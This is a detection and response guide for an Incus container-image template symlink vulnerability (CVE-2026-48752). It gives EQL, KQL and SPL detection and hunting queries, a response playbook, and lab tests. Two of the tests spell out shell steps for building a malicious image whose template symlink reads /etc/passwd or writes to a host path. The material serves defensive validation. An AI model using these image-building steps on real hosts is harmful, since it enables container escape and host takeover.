Detect Incus Arbitrary File Read/Write via Malicious Image Template Symlink in Elastic Security
CVE-2026-48752 is a critical vulnerability (CVSS 9.9) in Incus (github.com/lxc/incus/v7/cmd/incusd) versions prior to 7.2.0. A malicious container image can include a crafted symlink within the templates/ directory that, when processed by incusd during image import or container creation, allows an attacker to read or write arbitrary files on the host filesystem. This constitutes a container escape primitive with host takeover potential. A public proof-of-concept exists.
MITRE ATT&CK
Elastic Detection Query
sequence by host.name with maxspan=5m
[process where process.name == "incusd" and
(
process.args : ["*templates/*", "*image import*", "*container create*"]
)
] by process.pid
[file where process.name == "incusd" and
(
file.path : ["/var/lib/incus/*", "/var/snap/incus/*"] and
(
file.path : ["*../../../*", "*templates/../*"] or
file.Ext.original.path : ["*templates/*"]
)
) or
(
event.category == "file" and
event.type == "creation" and
file.path : ["/etc/*", "/root/*", "/home/*", "/proc/*"] and
process.name == "incusd"
)
] by process.pid Elastic EQL sequence detection correlating incusd process execution with suspicious file operations outside expected container boundaries or within host-sensitive directories.
Data Sources
Required Tables
False Positives & Tuning
- Incus daemon legitimate host file access during container initialisation for kernel module loading
- Monitoring agents reading Incus image store for asset inventory
- Backup tooling accessing /var/lib/incus directories during scheduled jobs
Other platforms for CVE-2026-48752
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Create Malicious Incus Image with Template Symlink Pointing to /etc/passwd
Expected signal: incusd process accessing /etc/passwd via symlink resolution from templates/ directory; auditd SYSCALL records for readlink/open by incusd PID targeting /etc/passwd
- Test 2Exploit Incus Template Symlink for Arbitrary Host File Write
Expected signal: incusd creating or writing to /tmp/incus-host-write-target via symlink from templates/; FileWriteInfo events for incusd outside container directories
- Test 3Scan Incus Image Store for Existing Malicious Template Symlinks
Expected signal: Read-only filesystem traversal of /var/lib/incus/images by the scanning shell process; no incusd involvement expected
Response Playbook
Triage
- Identify the incusd version on the affected host via `incus version` or `dpkg -l incus` / `rpm -q incus`. Confirm if version is < 7.2.0.
- Inspect recently imported container images: `incus image list` and cross-reference with timestamps near the alert. Examine image metadata for templates/ directory contents using `incus image export <fingerprint> /tmp/img-export && tar -tvf /tmp/img-export/*.tar.xz | grep templates/`.
- Check for suspicious symlinks within Incus image stores: `find /var/lib/incus/images/ /var/snap/incus/ -type l 2>/dev/null | xargs -I{} sh -c 'readlink -f "{}" | grep -v /var/lib/incus && echo "SUSPICIOUS: {}"'`.
- Review incusd logs for path traversal indicators: `journalctl -u incus -n 2000 | grep -iE '(template|symlink|escape|chroot|path.*denied|read.*error)'`.
- Determine if any host files outside expected container directories were accessed or modified around the time of the alert using auditd or inotifywait evidence.
Containment
- If exploitation is confirmed or strongly suspected, immediately stop the incusd service (`systemctl stop incus`) and isolate the host from the network to prevent lateral movement using host-level firewall rules (`iptables -I INPUT -j DROP; iptables -I OUTPUT -j DROP` — preserve management access).
- Remove or quarantine the suspicious container image from the image store: `incus image delete <fingerprint>`. Do NOT delete before preserving a forensic copy. Export first: `incus image export <fingerprint> /forensics/img-<fingerprint>.tar.xz`.
- Revoke any credentials or tokens accessible via host paths that may have been read (e.g., /etc/shadow, SSH keys in /root/.ssh/, Vault tokens, API keys in /etc/environment or /root/).
Evidence Collection
- Capture full incusd journal logs: `journalctl -u incus --since '48 hours ago' > /forensics/incusd-journal-$(date +%s).log`.
- Preserve auditd logs showing file access by incusd: `ausearch -p $(pgrep incusd) -i > /forensics/auditd-incusd-$(date +%s).log` and collect `/var/log/audit/audit.log`.
- Export the suspicious container image and its templates directory before any cleanup: `incus image export <fingerprint> /forensics/` and document all symlink targets found.
- Snapshot host filesystem metadata for critical paths: `find /etc /root /home /var/lib/incus -maxdepth 3 -printf '%T+ %p %l\n' > /forensics/fs-snapshot-$(date +%s).txt`.
Escalation Criteria
- !Escalate immediately if evidence shows incusd wrote to or read from host paths outside /var/lib/incus/ or /var/snap/incus/ — particularly /etc/passwd, /etc/shadow, /root/.ssh/authorized_keys, or secrets stores — indicating successful host compromise.
- !Escalate if the malicious image was pulled from an external or third-party registry, suggesting potential supply chain compromise affecting other hosts that imported the same image.
- !Escalate if the host is a Proxmox node, hypervisor, or cluster member where host compromise implies impact to all hosted VMs and containers.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Incus image store at /var/lib/incus/images/ or /var/snap/incus/common/incus/images/ — examine all templates/ subdirectories for symlinks pointing outside container rootfs - >
auditd SYSCALL records for readlink, lstat, open, openat syscalls by incusd PID targeting paths outside /var/lib/incus - >
Filesystem mtime/ctime changes on host-sensitive files (/etc/passwd, /root/.ssh/, /etc/cron.d/) coinciding with incusd activity - >
incusd journal logs (journalctl -u incus) for error messages referencing template processing, symlink resolution, or path validation failures
Tuning Guidance
Start with medium confidence and tune down false positives by allowlisting known-good Incus image fingerprints and internal registry sources. Increase confidence to high after confirming incusd version < 7.2.0 on monitored hosts and baselining normal template directory access patterns. Suppress alerts for incusd processes with arguments limited to known-good image fingerprints verified against an internal allowlist. Consider deploying auditd rules specifically watching readlink and symlinkat syscalls by incusd to improve signal quality over syslog-only sources.
Hunting Queries
Proactive threat hunt for incusd access to files outside its expected directories over the past 7 days, surfacing potential prior exploitation or reconnaissance activity.
Syslog
| where TimeGenerated > ago(7d)
| where ProcessName =~ "incusd"
| where SyslogMessage has_any ("templates", "symlink", "image", "import", "container create")
| extend FilePath = extract(@"file[=: ]+([^\s,]+)", 1, SyslogMessage)
| where FilePath !startswith "/var/lib/incus" and FilePath !startswith "/var/snap/incus" and FilePath != ""
| summarize Count=count(), LastSeen=max(TimeGenerated) by Computer, FilePath, ProcessName
| where Count > 0
| order by LastSeen desc index=syslog process_name=incusd earliest=-7d
| rex field=_raw "file[=: ]+(?P<file_path>[^\\s,]+)"
| where NOT (match(file_path, "(?i)/var/lib/incus") OR match(file_path, "(?i)/var/snap/incus") OR isnull(file_path) OR file_path="")
| stats count as hits, latest(_time) as last_seen by host, file_path, process_name
| sort -hits Historical hunt for all Incus image import and pull operations over the past 30 days to identify images sourced from external or unexpected registries that may be malicious.
Syslog
| where TimeGenerated > ago(30d)
| where ProcessName =~ "incusd" or SyslogMessage has "incus image"
| where SyslogMessage has_any ("import", "pull", "copy", "image")
| summarize ImportCount=count(), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by Computer, SyslogMessage
| where ImportCount > 0
| extend PotentiallyMalicious = iff(SyslogMessage has_any ("external", "http://", "https://", "registry"), "Review", "Internal")
| order by LastSeen desc index=syslog (process_name=incusd OR message="*incus image*") earliest=-30d
| where match(message, "(?i)(import|pull|copy|image)")
| eval potentially_malicious=if(match(message, "(?i)(http[s]?://|registry|external)"), "Review", "Internal")
| stats count as occurrences, earliest(_time) as first_seen, latest(_time) as last_seen by host, message, potentially_malicious
| sort -last_seen Atomic Red Team Tests
Builds a minimal Incus image containing a templates/ directory with a symlink pointing to /etc/passwd on the host, simulating a malicious image that exploits CVE-2026-48752 to read host files.
Command
# LAB ONLY — requires Incus installed and running
mkdir -p /tmp/atomic-incus-test/{rootfs,templates}
# Create a symlink in templates/ pointing to host /etc/passwd
ln -sf /etc/passwd /tmp/atomic-incus-test/templates/shadow
# Create minimal metadata
cat > /tmp/atomic-incus-test/metadata.yaml << 'EOF'
architecture: x86_64
creation_date: 1750000000
properties:
description: Atomic test image CVE-2026-48752
os: alpine
release: edge
EOF
# Package the image
tar -czf /tmp/atomic-incus-malicious.tar.gz -C /tmp/atomic-incus-test .
# Import the image
incus image import /tmp/atomic-incus-malicious.tar.gz --alias atomic-test-cve-2026-48752
# Attempt to create a container from it (triggers template processing)
incus launch atomic-test-cve-2026-48752 atomic-test-container 2>&1 | tee /tmp/atomic-test-output.txt Cleanup
incus delete --force atomic-test-container 2>/dev/null; incus image delete atomic-test-cve-2026-48752 2>/dev/null; rm -rf /tmp/atomic-incus-test /tmp/atomic-incus-malicious.tar.gz /tmp/atomic-test-output.txt Expected Telemetry
incusd process accessing /etc/passwd via symlink resolution from templates/ directory; auditd SYSCALL records for readlink/open by incusd PID targeting /etc/passwd
Expected Detection
Alert triggered on incusd file access outside /var/lib/incus/ targeting /etc/passwd; Syslog entries from incusd referencing templates/ and unexpected host path
Creates a malicious Incus image with a templates/ symlink targeting a writable host path (/tmp/incus-write-test), demonstrating the write primitive of CVE-2026-48752.
Command
# LAB ONLY — do not run in production
mkdir -p /tmp/atomic-write-test/{rootfs,templates}
# Create a symlink pointing to a writable host location
ln -sf /tmp/incus-host-write-target /tmp/atomic-write-test/templates/config
# Add template content that will be written to the symlink target
echo '[test-template]\nvalue = CVE-2026-48752-write-test' > /tmp/atomic-write-test/templates/config.tpl
cat > /tmp/atomic-write-test/metadata.yaml << 'EOF'
architecture: x86_64
creation_date: 1750000000
properties:
description: Write test image CVE-2026-48752
os: alpine
release: edge
templates:
/config:
when:
- create
template: config.tpl
EOF
tar -czf /tmp/atomic-write-malicious.tar.gz -C /tmp/atomic-write-test .
incus image import /tmp/atomic-write-malicious.tar.gz --alias atomic-write-cve-2026-48752
incus launch atomic-write-cve-2026-48752 atomic-write-container 2>&1
# Check if host file was written
cat /tmp/incus-host-write-target 2>&1 | tee /tmp/write-test-result.txt Cleanup
incus delete --force atomic-write-container 2>/dev/null; incus image delete atomic-write-cve-2026-48752 2>/dev/null; rm -rf /tmp/atomic-write-test /tmp/atomic-write-malicious.tar.gz /tmp/incus-host-write-target /tmp/write-test-result.txt Expected Telemetry
incusd creating or writing to /tmp/incus-host-write-target via symlink from templates/; FileWriteInfo events for incusd outside container directories
Expected Detection
Alert on incusd file write operation to a path outside /var/lib/incus/; auditd capture of openat with O_WRONLY|O_CREAT by incusd PID targeting host path
Hunts for pre-existing malicious symlinks within the Incus image store templates directories that may indicate prior exploitation attempts or staged malicious images.
Command
# Safe read-only hunt — suitable for incident response
echo '[*] Scanning Incus image stores for suspicious template symlinks...'
for store in /var/lib/incus/images /var/snap/incus/common/incus/images; do
if [ -d "$store" ]; then
echo "[+] Scanning $store"
find "$store" -type l 2>/dev/null | while read symlink; do
target=$(readlink -f "$symlink" 2>/dev/null)
if echo "$symlink" | grep -q 'templates'; then
if ! echo "$target" | grep -qE "^($store|/var/lib/incus|/var/snap/incus)"; then
echo "[SUSPICIOUS] Symlink: $symlink -> $target"
fi
fi
done
fi
done
# Also check incus image list for recently imported images
incus image list --format csv 2>/dev/null | tee /tmp/incus-image-inventory.txt
echo '[*] Scan complete. Review SUSPICIOUS entries above.' Cleanup
rm -f /tmp/incus-image-inventory.txt Expected Telemetry
Read-only filesystem traversal of /var/lib/incus/images by the scanning shell process; no incusd involvement expected
Expected Detection
This test is detection-negative (read-only hunt tool); output should be reviewed manually. No SIEM alert expected unless monitoring scripts scanning image stores.